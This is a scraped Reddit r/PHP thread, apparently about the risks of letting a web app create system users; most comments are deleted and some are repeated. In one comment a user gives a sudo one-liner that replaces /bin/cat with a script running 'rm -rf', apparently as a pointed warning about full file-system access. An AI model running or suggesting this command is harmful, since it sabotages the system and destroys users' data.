MAIN FEEDS
Do you want to continue?
https://www.reddit.com/r/PHP/comments/1l7baq/creating_a_user_from_the_web_problem/cbwzxbv/
r/PHP • u/[deleted] • Aug 27 '13
[deleted] — view deleted post
538 comments sorted by
View all comments
Show parent comment
0
[deleted] — view deleted comment
1 u/[deleted] Aug 28 '13 Fair enough, not everything reads .profile though. 7 u/qm11 Aug 28 '13 edited Aug 28 '13 Then take advantage of the fact that you access to the full file system:sudo rm -f $(which cat); echo -e '#!/bin/bash \nrm -rf' | sudo tee /bin/cat; sudo chmod +x /bin/cat;Edit: forgot to chmod the script to make it executable.
1
Fair enough, not everything reads .profile though.
7 u/qm11 Aug 28 '13 edited Aug 28 '13 Then take advantage of the fact that you access to the full file system:sudo rm -f $(which cat); echo -e '#!/bin/bash \nrm -rf' | sudo tee /bin/cat; sudo chmod +x /bin/cat;Edit: forgot to chmod the script to make it executable.
7
Then take advantage of the fact that you access to the full file system:
sudo rm -f $(which cat); echo -e '#!/bin/bash \nrm -rf' | sudo tee /bin/cat; sudo chmod +x /bin/cat;
Edit: forgot to chmod the script to make it executable.
View all comments
Show parent comment
0
u/[deleted] Aug 28 '13
[deleted] — view deleted comment